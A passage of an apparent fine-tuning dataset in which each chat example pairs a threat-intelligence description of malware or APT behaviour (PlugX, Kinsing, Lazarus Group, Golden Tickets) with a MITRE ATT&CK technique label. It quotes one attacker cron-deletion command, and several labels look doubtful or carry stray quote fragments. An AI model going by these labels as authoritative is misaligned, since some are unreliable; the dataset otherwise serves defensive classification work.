                "content": "SpicyOmelette has the ability to execute arbitrary JavaScript code on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Golden Ticket (GT) can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. Since the Golden Ticket is an authentication ticket (TGT described below), its scope is the entire domain (and the AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources. The Golden Ticket (TGT) contains user group membership information (PAC) and is signed and encrypted using the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account"
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module to download and execute files on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes.  also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "5) Downloads the ‘kinsing’ malware and runs it 6) Uses crontab to download and run the shell script every minute 7) Looks for other commands running in cron, and if ones were identified, deletes all cron jobs, including its own. We are not certain why the attackers chose to do so, but that is what the script executes:crontab -l || sed '/update.sh/d' || crontab"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash', 'T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can inject itself into another process to avoid detection including use of a technique called ListPlanting that customizes the sorting algorithm in a ListView structure."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once it is encrypted using the XOR algorithm, the buffer is encoded with BASE64"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can collect data from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RegDuke can use control-flow flattening or the commercially available .NET Reactor for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has attempted to adjust its token privileges to have the \"SeDebugPrivilege\"."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decoding their C2 server IP addresses, from obfuscated strings, both trojans will attempt to collect host information and send it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses various WMI queries to check if the sample is running in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can determine the hostname and linux version on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Try to exploit the following Remote Code Execution vulnerabilities in the targeted servers:  a) CVE-2012-0874: JBoss Enterprise Application Platform Multiple Security Bypass Vulnerabilities b) CVE-2010-1871: JBoss Seam Framework remote code execution c) JBoss AS 3/4/5/6: Remote Command Execution (exploit) d) CVE-2017-10271: Oracle WebLogic wls-wsat Component Deserialization RCE e) CVE-2018-2894: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has exploited Microsoft Office vulnerabilities CVE-2012-0158, CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "beacons to destination port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples use cmd.exe to delete temporary files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has obtained and leveraged publicly-available tools for early intrusion activities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has staged data on remote MSP systems or other victim networks prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper will attempt to enumerate Windows version and system architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Downdelph uses search order hijacking of the Windows executable sysprep.exe to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's VBS backdoor can decode Base64-encoded data and save it to the %TEMP% folder. The group also decrypted received information using the Triple DES algorithm and decompresses it using GZip."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses search order hijacking of the Windows executable sysprep.exe to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has been executed through malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "calls cmd.exe to run various DLL files via rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy's setup file installs initial executables under the folder \"%WinDir%\\System32\\PluginManager\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In such a situation, the malware will find and run the built-in Microsoft Windows InfDefaultInstall.exe program, which will install a DLL via an INF file. Should Tencent be installed, the malware will execute the InfDefaultInstall.exe program with an argument of ‘QQMgr.inf’. Otherwise, it will use ‘hccutils.inf’ as an argument"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware operates on victims’ systems as a svchost-based service and is capable of downloading executables, changing its own configuration, updating its own binaries, terminating its own processes, and activating and terminating denial-of-service attacks"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a shortcut file and saves it in a Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs operating system information discovery using systeminfo."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can sort and collect specific documents as well as generate a list of all files on a newly inserted drive and store them in an encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz can monitor content saved to the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encodes C2 beacons using XOR."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 listed connected network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda's PlugX variant has created a hidden folder on USB drives named \"RECYCLE.BIN\" to store malicious executables and collected data."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT has registered itself as a scheduled task to run each time the current user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a directory, %USERPROFILE%\\AppData\\Local\\SKC\\, which is used to store collected log files."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the attacker added their own devices as allowed IDs for active sync for a number of mailboxes using Set-CASMailbox"
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Device Registration', 'T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This tactic uses public web services to host content that contains encoded commands that are decoded by the malware"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can download and execute payloads on a target host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In February 2013, AlienVault performed analysis on the CallMe Trojan and found that it is based on a tool called Tiny SHell, an OSX shell tool whose source code is available on the Internet. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has added a leading \".\" to plist filenames, unlisting them from the Finder app and default Terminal directory listings."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has manipulated legitimate websites to inject malicious JavaScript code as part of their watering hole operations."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can SSL encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.)."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard uses LD_PRELOAD to hide the malicious process launched inside the containers. The malware modified the /etc/ld.so.preload file to intercept shared libraries’ imported functions"
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: LD_PRELOAD"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLAINTEE performs the \"tasklist\" command to list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by Lazarus Group also collects disk space information and sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has digitally signed malware and utilities to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes the Registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For FIN7 attack routines, data can be compressed and/or encrypted before being exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GuLoader can use a number of different APIs for discovery and execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, attackers used a signed kernel rootkit to establish additional persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth has used Tasklist to get information on processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer uses a simple XOR cipher to encrypt traffic and files."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has obfuscated strings in  by base64 encoding, and then encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can execute commands, including gathering user information, and send the results to C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Umbreon provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet"
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can delete files downloaded to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has been seen changing malicious files to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can collect password policy information on the target environment."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can identify logged in users across the domain and views user sessions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling \"PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically. Besides these, there are keyloggers, browser-focused password stealers, camera control applications, and other generic password stealers"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used \"net time\" to check the local time on a target system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘microsoft-cache’ domain was used by the malware variant that communicated over HTTP. We found four unique samples communicating with this domain, which resolved to the same Hong Kong-based IP address used by the first two domains"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has utilized AutoIt and custom scripts to perform internal reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can be executed using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor has used HTTP GET and POST requests for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
